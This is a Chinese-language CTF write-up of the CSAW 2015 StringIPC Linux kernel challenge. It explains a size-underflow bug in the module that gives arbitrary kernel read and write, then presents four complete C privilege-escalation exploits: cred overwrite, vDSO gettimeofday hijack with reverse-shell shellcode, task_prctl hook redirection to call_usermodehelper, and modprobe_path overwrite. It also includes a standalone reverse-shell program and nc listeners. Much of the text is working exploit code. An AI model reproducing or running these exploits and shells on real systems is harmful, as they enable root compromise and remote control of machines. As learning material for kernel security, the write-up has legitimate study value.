Linux kernel pwn --- CSAW2015 StringIPC

14 篇文章 1 订阅

0x01查看题目

1.launch.sh。

qemu-system-x86_64 \
    -m 512 \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
    -nographic \
    -s \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    #-S

2.解包rootfs.cpio

cpio -idmv < ./rootfs.cpio

3.查看/etc/init.d/rcS 启动脚本,所以StringIPC.ko就是我们主要分析的模块

/bin/mount -a
mount -t proc none /proc
mount -t tmpfs -o size=64k,mode=0755 tmpfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mount -t sysfs sysfs /sys
sysctl -w kernel.hotplug=/sbin/mdev
ifconfig lo 127.0.0.1 netmask 255.255.255.0
route add -net 127.0.0.0 netmask 255.255.255.0 lo
insmod StringIPC.ko
/sbin/mdev -s
echo "man, you got me" > flag
chmod 400 flag
chmod 766 /dev/csaw
nohup /sudo_timer &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -d 0  -f

4.分析stringIPC.ko。因为有源码所以直接看源码
file_operations注册了open,release和ioctl3个操作。主要操作都在ioctl里面,将本来可以用fops实现的操作在ioctl中实现了alloc,grow,shrink,read,write,seek,close。
问题出现在realloc_ipc_channel函数中,krealloc函数如果申请0大小的块时会返回0x10表示失败,这里当成了得到的地址,并且channel->buf_size = new_size语句,buf_size为size_t类型-1表示0xffffffff ffffffff表示最大值,可以实现任意地址读写。写时使用的是strncpy_from_user,需要逐字节写入。

static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
    struct ipc_channel *channel;
    size_t new_size;
    char *new_data;

    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);

    if ( grow )
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;//-1 = 0x100 - 0x101
    //如果new_size+1=0,krealloc会返回0x10表示分配失败
    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if ( new_data == NULL )
        return -EINVAL;

    channel->data = new_data;
    channel->buf_size = new_size;//new_size=-1,0xffffffff ffffffff 即可对全局进行读写

    ipc_channel_put(state, channel);

    return 0;
}

小结
先申请0x100的channel,再用shrink调整减小0x101大小,此时krealloc会返回0x10,buf_size为-1。造成任意地址读写

0x02 修改cred结构提升权限

可以任意地址读写,最简单的就是修改该进程或者新fork一个进程修改cred提权。问题就是如何找到cred结构体。在task_struct中保存了cred指针,同时comm中存储着程序的程序名,可以通过prctl(PR_SET_NAME,tag)来修改程序名并搜索内存中tag的位置,得到cred指针。

struct task_struct {
	volatile long state;	/* -1 unrunnable, 0 runnable, >0 stopped */
	void *stack;
	atomic_t usage;
	unsigned int flags;	/* per process flags, defined below */
	unsigned int ptrace;
... ...

/* process credentials */
	const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
	const struct cred __rcu *real_cred; /* objective and real subjective task
					 * credentials (COW) */
	const struct cred __rcu *cred;	/* effective (overridable) subjective task
					 * credentials (COW) */
	char comm[TASK_COMM_LEN]; /* executable name excluding path
				     - access with [gs]et_task_comm (which lock
				       it with task_lock())
				     - initialized normally by setup_new_exec */
/* file system info */
	struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
	struct sysv_sem sysvsem;
	struct sysv_shm sysvshm;
#endif
... ... 
};

task_struct应该在内核的动态分配区域。根据内存分布图,加快搜索范围加快速度。确定搜索范围为0xffff880000000000~0xffffc80000000000

0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+
                       |           |                                               |+++++++++++++|
    8M                 |           | unused hole                                   |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffff7ff000  ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
    1M                 |           |                                               |+++++++++++++|
0xffffffffff600000  ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
    548K               |           | vsyscalls                                     |+++++++++++++|
0xffffffffff577000  ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
    5M                 |           | hole                                          |+++++++++++++|
0xffffffffff000000  ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    1520M              |           | module mapping space (MODULES_LEN)            |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffa0000000  ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    512M               |           | kernel text mapping, from phys 0              |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffff80000000  ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
    2G                 |           | hole                                          |+++++++++++++|
0xffffffff00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    64G                |           | EFI region mapping space                      |+++++++++++++|
0xffffffef00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    444G               |           | hole                                          |+++++++++++++|
0xffffff8000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | %esp fixup stacks                             |+++++++++++++|
0xffffff0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    3T                 |           | hole                                          |+++++++++++++|
0xfffffc0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | kasan shadow memory (16TB)                    |+++++++++++++|
0xffffec0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffeb0000000000  ---+-----------+-----------------------------------------------| kernel space|
    1T                 |           | virtual memory map for all of struct pages    |+++++++++++++|
0xffffea0000000000  ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffe90000000000  ---+-----------+------------| VMALLOC_END   |------------------|+++++++++++++|
    32T                |           | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)        |+++++++++++++|
0xffffc90000000000  ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffc80000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
    64T                |           | direct mapping of all phys. memory            |+++++++++++++|
                       |           | (1 << MAX_PHYSMEM_BITS)                       |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    8T                 |           | guard hole, reserved for hypervisor           |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
                       |-----------|                                               |-------------|
                       |-----------| hole caused by [48:63] sign extension         |-------------|
                       |-----------|                                               |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
    PAGE_SIZE          |           | guard page                                    |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
                       |           |                                               |  user space |
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
    128T               |           | different per mm                              |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

最后exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>


//从源文件中复制
#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
};
struct open_channel_args {
    int id;
};

struct grow_channel_args {
    int id;
    size_t size;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

int fd;

void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      printf("[-] open file error!!");
      exit(-1);
   }
}

int alloc_channel(size_t size)
{
    struct alloc_channel_args args;
    args.buf_size=size;
    args.id=-1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
    if(args.id <0 )
    {
        printf("[*]Alloc Error\n");
        exit(-1);
    }
    return args.id;
}

void open_channel(int id)
{
    struct open_channel_args args;
    args.id=id;
    ioctl(fd,CSAW_OPEN_CHANNEL,&args);
}

void shrink_channel(int id,size_t size)
{
    struct shrink_channel_args args;
    args.id = id;
    args.size = size;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}

void read_channel(int id,char* buf,size_t count)
{
    struct read_channel_args args;
    args.id=id;
    args.count=count;
    args.buf=buf;
    ioctl(fd,CSAW_READ_CHANNEL,&args);
}

void write_channel(int id,char* buf,size_t count)
{
    struct write_channel_args args;
    args.id=id;
    args.buf=buf;
    args.count=count;
    ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}

void seek_channel(int id,loff_t offset,int whence)
{
    struct seek_channel_args args;
    args.id = id;
    args.index = offset;
    args.whence = whence;
    ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//任意地址写
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}

//1.prctl(PR_SET_NAME , target)设置程序名字方便搜索0xffff880000000000~0xffffc80000000000
//2.CSAW_SHRINK_CHANNEL 构造buf=0x10,size=0xffffffffffffffff
//3.搜索target再找到cred
//4.修改uid~fsgid为0
//5.getroot
char rootcred[28] = {0};
int main()
{
    char *buf = (char *)calloc(1,0x1000);
    char tag[16] = "ThisIsATagAbel";//不能写满16个字节
    //strcpy(tag,"ThisIsATagAbel");
    prctl(PR_SET_NAME,tag);
    initFD();
    //构造漏洞
    int id = alloc_channel(0x100);
    if(id == -1){
        printf("[*]alloc error\n");
        exit(-1);
    }
    shrink_channel(id,0x101);
    size_t cred_addr = -1;
    printf("[*]start searching...\n");
    for(size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000)
    {
        arbitrary_read(id,buf,addr,0x1000);
        size_t tag_ptr = memmem(buf, 0x1000,tag,16);
        if (tag_ptr) {
            cred_addr = *(size_t*)(tag_ptr-8);
            size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
            if((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr){
                printf("[*] tag_ptr: %lx\n",tag_ptr);
                printf("[*]Found cred_addr:%lx\n",addr+tag_ptr-8);
                printf("[*] cred_addr: %lx\n",cred_addr);
                break;
            }
      }
    }
    if(cred_addr==-1){
        printf("[*]Not Found cred_addr\n");
        exit(-1);
    }
    arbitrary_write(id,rootcred,cred_addr,28);
    if(getuid()==0){
        printf("[*]root success\n");
        system("/bin/sh");
        return 0;
    }else{
        printf("[*]root failed\n");
        return -1;
    }
}

0x03 劫持VDSO

VDSO就是Virtual Dynamic Shared Object。这个.so文件不在磁盘上,而是在内核里头。内核把包含某.so的内存页在程序启动的时候映射入其内存空间,对应的程序就可以当普通的.so来使用里头的函数。VDSO所在的页,内核是RXW,用户空间是可读可执行的。如果将vdso中的函数覆盖为反弹shellcode,等待触发即可提权。crontab是带有root权限的,并且它会不断的调用vdso里的gettimeofday函数。可以通过任意地址写修改gettimeofday为我们的shellcode,反弹shell来get root shell。
现在的问题就是不知道vdso的位置在哪里?vdso的范围在0xffffffff80000000~0xffffffffffffefff。可以根据程序中的字符串为偏移确定vdso的位置。
1.获取字符串的偏移,利用任意读从内存中对应偏移位置和字符串进行比较找到vdso的位置

int get_gettimeofday_str_offset() {
    //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
    size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
    char* name = "gettimeofday";
    if (!vdso_addr){
        printf("[-]error get name's offset");
        return 0;
    }
    //仅需要搜索1页大小即可,因为vdso映射就一页0x1000
    size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
    if (name_addr < 0) {
        printf("[-]error get name's offset");
        return 0;
    }
    return name_addr - vdso_addr;
}

2.根据vdso,dump下vdso.so,找到gettimeoftoday函数的地址,再用任意地址写覆盖为shellcode.

int main()
{
    char *buf = (char *)calloc(1,0x1000);
    //用于反弹shell的shellcode,127.0.0.1:3333
    char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";
    initFD();
    //构造漏洞
    int id = alloc_channel(0x100);
    if(id == -1){
        printf("[*]alloc error\n");
        exit(-1);
    }
    shrink_channel(id,0x101);
    size_t vdso_addr = -1;
    int gettimeofday_off = get_gettimeofday_str_offset();
    printf("[*]start searching...\n");
    for(size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000)
    {
        arbitrary_read(id,buf,addr,0x1000);
        if(!strcmp(buf+gettimeofday_off,"gettimeofday")){
            printf("[*]find vdso\n");
            vdso_addr = addr;
            printf("[*]vdso_addr:%lx\n",vdso_addr);
            break;
        }
    }
    size_t gettimeofday = vdso_addr + 0xcb0;
    arbitrary_write(id,shellcode,gettimeofday,strlen(shellcode));
    sleep(1);
    printf("[*] open a shell\n");
    system("nc -lvnp 3333");
    return 0;
}

小结:当存在任意读时,可以根据字符串或者特定的asm码来确定偏移(FG_KALSR也可以这样绕过?)。类似也可以覆盖modprobe_path地址,来读取flag

0x04 劫持prctl

prctl可以操作进程和线程。prctl内部通过虚表来调用对应的功能,如果我们劫持prctl的虚表,使它指向其他对我们有帮助的内核函数,比如call_usermodehelper函数,该函数执行一个用户传入的二进制文件,且以root权限执行,由此可以利用起来提权。
为什么不能直接劫持到call_usermodehelper呢?call_usermodehelper的最关键的第一个参数是指针,而security_task_prctl为int,产生截断,4字节的空间基本为用户空间,存在smap时无法访问。

int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
			 unsigned long arg4, unsigned long arg5)
{
	int thisrc;
	int rc = -ENOSYS;
	struct security_hook_list *hp;

	list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
		thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
		if (thisrc != -ENOSYS) {
			rc = thisrc;
			if (thisrc != 0)
				break;
		}
	}
	return rc;
}

int call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
	struct subprocess_info *info;
	gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

	info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
					 NULL, NULL, NULL);
	if (info == NULL)
		return -ENOMEM;

	return call_usermodehelper_exec(info, wait);
}

可以使用glibc中gadget的思路,找到调用call_usermodehelper的函数,如果参数为全局变量或者可写变量,可以先覆盖全局变量,再覆盖task_prctl为该函数地址,然后触发调用。
本来想用ida pro来查看引用,但是题目自带的bzImage,没有符号。。。。。所以用了https://elixir.bootlin.com/linux/v4.4.110/A/ident/call_usermodehelper 来寻找调用,driver和fs下面的符号表可能没有导出所以cat /proc/kallsyms找不到,所以暂时先不考虑。
在这里插入图片描述
/arch/x86/kernel/cpu/mcheck/mce.c mce_helper和mce_helper_argv都可以进行修改。
在这里插入图片描述
/kernel/reboot.c run_cmd可以当成对call_usermodehelper的封装,可以继续寻找run_cmd的调用。
在这里插入图片描述
因为看了海哥和pandas的博客学习所以用一个和他们不一样的gadget来验证学习一下。argv[0]获取的是tomayo_loader的值,可以将tomayo_loader修改为指向/shell字符串的指针
在这里插入图片描述
用ida分析vmlinux,所以可以将task_prctk修改为.text:FFFFFFFF8135D475。

mov     rdi, cs:qword_FFFFFFFF82363838;将tomoyo_loader的值赋给rdi,
mov     [rbp-28h], rdi;将设置argv[0]=(char*)tomoyo_loader

在这里插入图片描述
利用任意地址写将tomaya_loader修改指向前面的8个字节,并将前8个字节修改为/shell(反弹shell的程序名)
在这里插入图片描述
gdb在call sub_FFFFFFFF81090A50下断点查看
在这里插入图片描述
exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/auxv.h> 

//从源文件中复制
#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
};
struct open_channel_args {
    int id;
};

struct grow_channel_args {
    int id;
    size_t size;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

int fd;

void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      printf("[-] open file error!!");
      exit(-1);
   }
}

int alloc_channel(size_t size)
{
    struct alloc_channel_args args;
    args.buf_size=size;
    args.id=-1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
    if(args.id <0 )
    {
        printf("[*]Alloc Error\n");
        exit(-1);
    }
    return args.id;
}

void open_channel(int id)
{
    struct open_channel_args args;
    args.id=id;
    ioctl(fd,CSAW_OPEN_CHANNEL,&args);
}

void shrink_channel(int id,size_t size)
{
    struct shrink_channel_args args;
    args.id = id;
    args.size = size;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}

void read_channel(int id,char* buf,size_t count)
{
    struct read_channel_args args;
    args.id=id;
    args.count=count;
    args.buf=buf;
    ioctl(fd,CSAW_READ_CHANNEL,&args);
}

void write_channel(int id,char* buf,size_t count)
{
    struct write_channel_args args;
    args.id=id;
    args.buf=buf;
    args.count=count;
    ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}

void seek_channel(int id,loff_t offset,int whence)
{
    struct seek_channel_args args;
    args.id = id;
    args.index = offset;
    args.whence = whence;
    ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//任意地址写
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}
int get_gettimeofday_str_offset() {
    //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
    size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
    char* name = "gettimeofday";
    if (!vdso_addr){
        printf("[-]error get name's offset");
        return 0;
    }
    //仅需要搜索1页大小即可,因为vdso映射就一页0x1000
    size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
    if (name_addr < 0) {
        printf("[-]error get name's offset");
        return 0;
    }
    return name_addr - vdso_addr;
}

#define fakefunc 0x35d475;
#define fakestr 0x1363838;
#define TASK_PRCTL 0xeb8118;

int main()
{
    char *buf = (char *)calloc(1,0x1000);
    initFD();
    //构造漏洞
    int id = alloc_channel(0x100);
    if(id == -1){
        printf("[*]alloc error\n");
        exit(-1);
    }
    shrink_channel(id,0x101);
    size_t vdso_addr = -1;
    int gettimeofday_off = get_gettimeofday_str_offset();
    printf("[*]start searching...\n");
    for(size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000)
    {
        arbitrary_read(id,buf,addr,0x1000);
        if(!strcmp(buf+gettimeofday_off,"gettimeofday")){
            printf("[*]find vdso\n");
            vdso_addr = addr;
            printf("[*]vdso_addr:%lx\n",vdso_addr);
            break;
        }
    }
    size_t kernel_base = vdso_addr & 0xffffffffff000000;
    //size_t kernel_base = 0xffffffff81000000;
    size_t task_prctl_addr = kernel_base+TASK_PRCTL;
    size_t fake_str_addr = kernel_base+fakestr;//0xFFFFFFFF82363838
    size_t fake_func_addr = kernel_base + fakefunc;
    size_t fake_str_addr_ = fake_str_addr-0x8;
    printf("[*]kernel_base:%lx\n",kernel_base);
    printf("[*]task_prctl:%lx\n",task_prctl_addr);
    printf("[*]fake_str_addr:%lx\n",fake_str_addr);
    printf("[*]fake_func_addr:%lx\n",fake_func_addr);
    char reverse_command[] = "/shell\x00";
    arbitrary_write(id,reverse_command,fake_str_addr_,strlen(reverse_command));//修改字符串
    arbitrary_write(id,&fake_str_addr_,fake_str_addr,8);//修改指针
    printf("modify fake_str_addr\n");
    arbitrary_write(id,&fake_func_addr,task_prctl_addr,8);
    printf("modify fake_func_addr\n");
    
   if (fork()==0){ //fork一个子进程,来触发shell的反弹
        prctl(0,0);
        exit(-1);
    }else{
        printf("[+]open a shell\n");
        system("nc -lvnp 7777");
    }
    return 0;
}

反弹shell

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <fcntl.h> 
#include <unistd.h>

char server_ip[]="127.0.0.1";
uint32_t server_port=7777;

int main() 
{
    //socket initialize
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

    //connect to the server
   while(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0);

   //dup the socket to stdin, stdout and stderr
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    //execute /bin/sh to get a shell
    system("/bin/sh");
}

小结:
1.通过vdso地址确定Linux kernel基址
2.找到可以调用call_usermodehelper并且第一个参数能够修改的调用
3.修改task_prctl为该调用地址,修改参数为反弹shell绝对地址
4.触发task_prctl

0x05 劫持modprobe_path

当内核运行未知格式的程序时,内核会运行modprobe_path保存的程序路径。如果我们能够修改为我们的程序就能达到提权的目的。
查看modprobe_path偏移,gdb查看保存的字符串,默认的处理程序是/sbin/modprobe
在这里插入图片描述
在这里插入图片描述
创建未知文件,并且添加执行权限

echo -ne '\xff\xff\xff\xff' > 123
chmod +x 123

exp流程
1.获取linux kernel基址
2.覆盖modprobe_path为/reverse_shell
3.执行/123触发modprobe

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/auxv.h> 

//从源文件中复制
#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
};
struct open_channel_args {
    int id;
};

struct grow_channel_args {
    int id;
    size_t size;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

int fd;

void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      printf("[-] open file error!!");
      exit(-1);
   }
}

int alloc_channel(size_t size)
{
    struct alloc_channel_args args;
    args.buf_size=size;
    args.id=-1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
    if(args.id <0 )
    {
        printf("[*]Alloc Error\n");
        exit(-1);
    }
    return args.id;
}

void open_channel(int id)
{
    struct open_channel_args args;
    args.id=id;
    ioctl(fd,CSAW_OPEN_CHANNEL,&args);
}

void shrink_channel(int id,size_t size)
{
    struct shrink_channel_args args;
    args.id = id;
    args.size = size;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}

void read_channel(int id,char* buf,size_t count)
{
    struct read_channel_args args;
    args.id=id;
    args.count=count;
    args.buf=buf;
    ioctl(fd,CSAW_READ_CHANNEL,&args);
}

void write_channel(int id,char* buf,size_t count)
{
    struct write_channel_args args;
    args.id=id;
    args.buf=buf;
    args.count=count;
    ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}

void seek_channel(int id,loff_t offset,int whence)
{
    struct seek_channel_args args;
    args.id = id;
    args.index = offset;
    args.whence = whence;
    ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//任意地址写
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}
int get_gettimeofday_str_offset() {
    //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
    size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
    char* name = "gettimeofday";
    if (!vdso_addr){
        printf("[-]error get name's offset");
        return 0;
    }
    //仅需要搜索1页大小即可,因为vdso映射就一页0x1000
    size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
    if (name_addr < 0) {
        printf("[-]error get name's offset");
        return 0;
    }
    return name_addr - vdso_addr;
}

#define MODPROBE_PATH 0xe4c800;

int main()
{
    char *buf = (char *)calloc(1,0x1000);
    initFD();
    //构造漏洞
    int id = alloc_channel(0x100);
    if(id == -1){
        printf("[*]alloc error\n");
        exit(-1);
    }
    shrink_channel(id,0x101);
    size_t vdso_addr = -1;
    int gettimeofday_off = get_gettimeofday_str_offset();
    printf("[*]start searching...\n");
    for(size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000)
    {
        arbitrary_read(id,buf,addr,0x1000);
        if(!strcmp(buf+gettimeofday_off,"gettimeofday")){
            printf("[*]find vdso\n");
            vdso_addr = addr;
            printf("[*]vdso_addr:%lx\n",vdso_addr);
            break;
        }
    }
    size_t kernel_base = vdso_addr & 0xffffffffff000000;
    size_t modprobe_path_addr = kernel_base+MODPROBE_PATH;
    printf("[*]kernel_base:%lx\n",kernel_base);
    printf("[*]modprobe_path_addr:%lx\n",modprobe_path_addr);
    char reverse_command[] = "/reverse_shell";
    arbitrary_write(id,reverse_command,modprobe_path_addr,strlen(reverse_command));//修改字符串
    printf("[*]modify modprobe_path\n");
   if (fork()==0){ //fork一个子进程,来触发shell的反弹
        system("/123");
        exit(-1);
    }else{
        printf("[+]open a shell\n");
        system("nc -lvnp 7777");
    }
    return 0;
}

0x06 总结

1.任意地址读,可以通过特征字符串来确定内核基址,通过映射范围来减少搜索范围。
2.任意地址写,主要针对重要结构体,cred、prctl、tty、modprobe_path。最好是能够主动触发或者被动触发。

参考链接:
http://p4nda.top/2018/11/07/stringipc
